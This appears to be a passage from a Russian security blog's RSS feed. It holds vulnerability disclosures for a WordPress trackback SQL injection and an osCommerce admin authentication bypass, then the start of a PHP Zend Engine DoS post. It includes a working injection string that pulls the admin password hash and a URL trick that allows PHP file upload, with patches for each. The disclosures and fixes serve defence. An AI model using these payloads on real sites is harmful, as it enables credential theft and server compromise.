<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$excerpt</span> <span class="sy0">=</span> apply_filters<span class="br0">&#40;</span><span class="st_h">'the_content'</span><span class="sy0">,</span> <span class="re0">$post</span><span class="sy0">-&gt;</span><span class="me1">post_content</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">else</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$excerpt</span> <span class="sy0">=</span> apply_filters<span class="br0">&#40;</span><span class="st_h">'the_excerpt'</span><span class="sy0">,</span> <span class="re0">$post</span><span class="sy0">-&gt;</span><span class="me1">post_excerpt</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$excerpt</span> <span class="sy0">=</span> <span class="kw3">str_replace</span><span class="br0">&#40;</span><span class="st_h">']]&gt;'</span><span class="sy0">,</span> <span class="st_h">']]&amp;gt;'</span><span class="sy0">,</span> <span class="re0">$excerpt</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$excerpt</span> <span class="sy0">=</span> wp_html_excerpt<span class="br0">&#40;</span><span class="re0">$excerpt</span><span class="sy0">,</span> <span class="nu0">252</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'...'</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$post_title</span> <span class="sy0">=</span> apply_filters<span class="br0">&#40;</span><span class="st_h">'the_title'</span><span class="sy0">,</span> <span class="re0">$post</span><span class="sy0">-&gt;</span><span class="me1">post_title</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$post_title</span> <span class="sy0">=</span> <span class="kw3">strip_tags</span><span class="br0">&#40;</span><span class="re0">$post_title</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$to_ping</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="kw1">array</span><span class="br0">&#41;</span> <span class="re0">$to_ping</span> <span class="kw1">as</span> <span class="re0">$tb_ping</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$tb_ping</span> <span class="sy0">=</span> <span class="kw3">trim</span><span class="br0">&#40;</span><span class="re0">$tb_ping</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="sy0">!</span><span class="kw3">in_array</span><span class="br0">&#40;</span><span class="re0">$tb_ping</span><span class="sy0">,</span> <span class="re0">$pinged</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trackback<span class="br0">&#40;</span><span class="re0">$tb_ping</span><span class="sy0">,</span> <span class="re0">$post_title</span><span class="sy0">,</span> <span class="re0">$excerpt</span><span class="sy0">,</span> <span class="re0">$post_id</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$pinged</span><span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re0">$tb_ping</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">query</span><span class="br0">&#40;</span> <span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">prepare</span><span class="br0">&#40;</span><span class="st0">&quot;UPDATE <span class="es4">$wpdb-&gt;posts</span> SET to_ping = TRIM(REPLACE(to_ping, '<span class="es4">$tb_ping</span>', '')) WHERE ID = <span class="es6">%d</span>&quot;</span><span class="sy0">,</span> <span class="re0">$post_id</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
</ol>
        </div>
    </div>
</div>

<p>The <code>$tb_ping</code> variable is passed to the query in line 1657 unescaped.</p>
<p><strong>Exploitation.</strong> The logged in user must have <code>publish_posts</code> and <code>edit_published_posts</code> capabilities (this corresponds to the Author role). Below is an example of how this vulnerability can be exploited (images below are clickable):</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2010/11/01.png"><img src="http://static.sjinks.info/wp-content/uploads/2010/11/01-300x132.png" alt="Step 1" title="Step 1" width="300" height="132" class="alignnone size-medium wp-image-868" /></a></p>
<p>First, the user creates a new post (title/content does not matter); text to put into the &laquo;Send Trackbacks&raquo; field is</p>
<p><code>AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'</code></p>
<p>and publishes it. He needs to wait a bit — for <code>wp-cron.php</code> to process the trackback. The <code>get_to_ping()</code> function says that this trackback is to be processed:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p85815">
        <div class="code text" id="p858code15">
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
        </div>
    </div>
</div>

<p>Then the user goes back and edits the post:</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2010/11/02.png"><img src="http://static.sjinks.info/wp-content/uploads/2010/11/02-300x111.png" alt="Step 2" title="Step 2" width="300" height="111" class="alignnone size-medium wp-image-869" /></a></p>
<p>Now the user duplicates the text in the &laquo;Send Trackbacks&raquo; field and updates the post</p>
<p><code>AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'</code></p>
<p>The <code>get_to_ping()</code> function says that these trackbacks are to be processed:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p85816">
        <div class="code text" id="p858code16">
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'<br />
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
        </div>
    </div>
</div>

<p>Query logging shows that WordPress executes this query (reformatted for the sake of readbility):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p85817">
        <div class="code mysql" id="p858code17">
<span class="kw1">UPDATE</span> wp_posts<br />
<span class="kw1">SET</span> to_ping <span class="sy1">=</span> <span class="kw13">TRIM</span><span class="br0">&#40;</span><span class="kw14">REPLACE</span><span class="br0">&#40;</span>to_ping<span class="sy2">,</span> <span class="st0">'AAA'</span><span class="sy2">,</span><span class="st0">''</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy2">,</span>post_title<span class="sy1">=</span><span class="br0">&#40;</span><span class="kw1">select</span><span class="coMULTI">/**/</span><span class="kw13">concat</span><span class="br0">&#40;</span>user_login<span class="sy2">,</span><span class="st0">'|'</span><span class="sy2">,</span>user_pass<span class="br0">&#41;</span><span class="coMULTI">/**/</span><span class="kw1">from</span><span class="coMULTI">/**/</span>wp_users<span class="coMULTI">/**/</span><span class="kw1">where</span><span class="coMULTI">/**/</span>id<span class="sy1">=</span>1<span class="br0">&#41;</span><span class="sy2">,</span>post_content_filtered<span class="sy1">=</span><span class="kw13">TRIM</span><span class="br0">&#40;</span><span class="kw14">REPLACE</span><span class="br0">&#40;</span>to_ping<span class="sy2">,</span><span class="st0">''</span><span class="sy2">,</span> <span class="st0">''</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="kw1">WHERE</span> ID <span class="sy1">=</span> <span class="nu0">11</span>
        </div>
    </div>
</div>

<p>After that when the user refreshes the page (he may need to wait a bit for <code>wp-cron.php</code> to complete), he will see something like this:</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2010/11/03.png"><img src="http://static.sjinks.info/wp-content/uploads/2010/11/03-300x153.png" alt="Step 3" title="Step 3" width="300" height="153" class="alignnone size-medium wp-image-870" /></a></p>
<p>Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.</p>
<p>The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.</p>
<p><strong>Patch:</strong> below is the patch against WordPress 3.1 rev. 16609 that fixes the vulnerability:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p85818">
        <div class="code diff" id="p858code18">
Index: wp-includes/comment.php<br />
===================================================================<br />
<span class="re3">--- wp-includes/comment.php <span class="br0">&#40;</span>revision <span class="nu0">16609</span><span class="br0">&#41;</span></span><br />
<span class="re4">+++ wp-includes/comment.php <span class="br0">&#40;</span>working copy<span class="br0">&#41;</span></span><br />
<span class="re6">@@ -<span class="nu0">1723</span>,<span class="nu0">7</span> +<span class="nu0">1723</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trackback<span class="br0">&#40;</span>$tb_ping, $post_title, $excerpt, $post_id<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pinged<span class="br0">&#91;</span><span class="br0">&#93;</span> = $tb_ping;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> else <span class="br0">&#123;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $wpdb-&gt;query<span class="br0">&#40;</span> $wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;UPDATE $wpdb-&gt;posts SET to_ping = TRIM<span class="br0">&#40;</span>REPLACE<span class="br0">&#40;</span>to_ping, '$tb_ping', ''<span class="br0">&#41;</span><span class="br0">&#41;</span> WHERE ID = %d&quot;, $post_id<span class="br0">&#41;</span> <span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $wpdb-&gt;query<span class="br0">&#40;</span> $wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;UPDATE $wpdb-&gt;posts SET to_ping = TRIM<span class="br0">&#40;</span>REPLACE<span class="br0">&#40;</span>to_ping, %s, ''<span class="br0">&#41;</span><span class="br0">&#41;</span> WHERE ID = %d&quot;, $tb_ping, $post_id<span class="br0">&#41;</span> <span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Серьёзная уязвимость в osCommerce 2.2 RC 2a</title>
		<link>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/</link>
		<comments>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 15:29:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=730</guid>
		<description><![CDATA[Возможность выполнения произвольного PHP-кода с правами web-сервера Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе osCommerce) в очередной раз взломали и записали закодированный файл q_boot.php в каталог images. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие этого), меня этот случай очень заинтересовал: уязвимость, которая позволяет злоумышленнику залить [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Возможность выполнения произвольного <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a>-кода с правами web-сервера</em></h2>
<p>Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе <a href="http://blog.sjinks.pro/tag/oscommerce/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  osCommerce">osCommerce</a>) в очередной раз взломали и записали закодированный файл <code>q_boot.php</code> в каталог <code>images</code>. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие <a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/">этого</a>), меня этот случай очень заинтересовал: <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, которая позволяет злоумышленнику залить на сервер произвольный файл — это очень серьёзно.<span id="more-730"></span></p>
<p>Естественно, что от техподдержки клиента я не смог получить лог доступа к сайту (взломали неделю назад), чтобы посмотреть, с каких IP-адресов обращались к этому <code>images/q_boot.php</code> и проследить историю запросов. Это было бы слишком легко. Пришлось копаться в коде панели администрирования.</p>
<p>В частности, один из скриптов, который позволяет загружать файлы — это <code>admin/banner_manager.php</code>. Я начал с него, стал анализировать все включаемые файлы. Дыра нашлась за три минуты.</p>
<p>В <code>admin/includes/application_top.php</code> есть такой вот уязвимый код:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p73022">
        <div class="code php" id="p730code22">
<ol class="php" style="font-family:monospace;" start="132"><li class="li1"><div class="de1"><span class="co1">// redirect to login page if administrator is not yet logged in</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>tep_session_is_registered<span class="br0">&#40;</span><span class="st_h">'admin'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$redirect</span> <span class="sy0">=</span> <span class="kw4">false</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$PHP_SELF</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$current_page</span> <span class="sy0">!=</span> FILENAME_LOGIN<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>tep_session_is_registered<span class="br0">&#40;</span><span class="st_h">'redirect_origin'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tep_session_register<span class="br0">&#40;</span><span class="st_h">'redirect_origin'</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$redirect_origin</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'page'</span> <span class="sy0">=&gt;</span> <span class="re0">$current_page</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="st_h">'get'</span> <span class="sy0">=&gt;</span> <span class="re0">$HTTP_GET_VARS</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="re0">$redirect</span> <span class="sy0">=</span> <span class="kw4">true</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$redirect</span> <span class="sy0">==</span> <span class="kw4">true</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; tep_redirect<span class="br0">&#40;</span>tep_href_link<span class="br0">&#40;</span>FILENAME_LOGIN<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">unset</span><span class="br0">&#40;</span><span class="re0">$redirect</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#125;</span></div></li>
</ol>
        </div>
    </div>
</div>

<p>Уязвимость не очевидна, если <a href="http://ua2.php.net/manual/en/reserved.variables.server.php">не знать разницу</a> между <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_NAME'</span><span class="br0">&#93;</span></code></span>, <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_FILENAME'</span><span class="br0">&#93;</span></code></span> и <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span></code></span>.</p>
<p>В частности, <code>PHP_SELF</code> содержит</p>
<blockquote src="http://docs.php.net/manual/ru/reserved.variables.server.php">The filename of the currently executing script, relative to the document root. For instance, <code>$_SERVER['PHP_SELF']</code> in a script at the address <span class="codebox"><code class="text">http://example.com/test.php/foo.bar</code></span> would be <span class="codebox"><code class="text">/test.php/foo.bar</code></span>.</blockquote>
<p>Константа <code>FILENAME_LOGIN</code> определена как <code>login.php</code>.</p>
<p>Таким образом, обращение к <code>/admin/banner_manager.php/login.php</code> приведёт к тому, что в <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span></code></span> будет <code>/admin/banner_manager.php/login.php</code>, исполняться будет <code>/admin/banner_manager.php</code>, а <span class="codebox"><code class="php"><span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span><span class="br0">&#41;</span></code></span> будет — правильно, <code>login.php</code>. Условие в строке 138 <strong>не выполнится</strong>, и злоумышленник <strong>благополучно минует авторизацию</strong>.</p>
<p>Теперь эксплуатация уязвимости в картинках (изображения можно и нужно кликать):</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-1.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: Proof of Concept"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-1-300x230.png" alt="Демонстрация уязвимости osCommerce: Proof of Concept" title="Демонстрация уязвимости osCommerce: Proof of Concept" width="300" height="230" class="size-medium wp-image-731" /></a></p>
<p>Первый скриншот демонстрирует возможность обхода авторизации и получения доступа к скриптам панели администрирования.</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-2.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-2-300x268.png" alt="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла" title="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла" width="300" height="268" class="size-medium wp-image-732" /></a></p>
<p>Второй скриншот демонстрирует изменение URL&#8217;а формы (при помощи FireBug) и загрузку PHP-файла.</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-3.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-3-300x167.png" alt="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен" title="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен" width="300" height="167" class="size-medium wp-image-733" /></a></p>
<p>На третьем скриншоте мы видим, что файл был успешно загружен (хотя мы и были перенаправлены на форму авторизации). А ведь <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">все пользовательские данные нужно тщательно проверять</a>!</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-4.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-4-300x91.png" alt="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить" title="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить" width="300" height="91" class="size-medium wp-image-734" /></a></p>
<p>На четвёртом скриншоте мы видим, что загруженный PHP-файл можно успешно выполнить <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Что и требовалось показать <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
</p>
<p><strong>Теперь о том, как это всё исправить.</strong></p>
<p>А исправляется всё очень просто: исправляем</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p73023">
        <div class="code php" id="p730code23">
<span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$PHP_SELF</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>на</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p73024">
        <div class="code php" id="p730code24">
<span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_NAME'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>А еще лучше — отказываемся от osCommerce в пользу чего-нибудь нормального, так как эта уязвимость — не единственная.</p>
<p>К слову, текущая Alpha osCommerce 3 тоже уязвима, только по-другому… Делайте выводы.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Простой DoS для PHP</title>
		<link>http://blog.sjinks.pro/php/667-simple-dos-for-php/</link>
		<comments>http://blog.sjinks.pro/php/667-simple-dos-for-php/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 13:15:55 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[Zend Engine]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=667</guid>
		<description><![CDATA[Очередная уязвимость в Zend Engine Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив. ZEND_API int zend_hash_sort(HashTable [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Очередная <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a> в <a href="http://blog.sjinks.pro/tag/zend-engine/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Zend Engine">Zend Engine</a></em></h2>
<p>Копался сегодня во внутренностях <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a>, и обнаружил такую вещь: функция <span class="codebox"><code class="c">zend_hash_sort<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> (она вызывается из функций типа <span class="codebox"><code class="php"><span class="kw3">usort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив.<span id="more-667"></span></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p66727">
        <div class="code c" id="p667code27">
<ol class="c" style="font-family:monospace;"><li class="li1"><div class="de1">ZEND_API <span class="kw4">int</span> zend_hash_sort<span class="br0">&#40;</span>HashTable <span class="sy0">*</span>ht<span class="sy0">,</span> sort_func_t sort_func<span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; compare_func_t compar<span class="sy0">,</span> <span class="kw4">int</span> renumber TSRMLS_DC<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; Bucket <span class="sy0">**</span>arTmp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; Bucket <span class="sy0">*</span>p<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw4">int</span> i<span class="sy0">,</span> j<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; IS_CONSISTENT<span class="br0">&#40;</span>ht<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
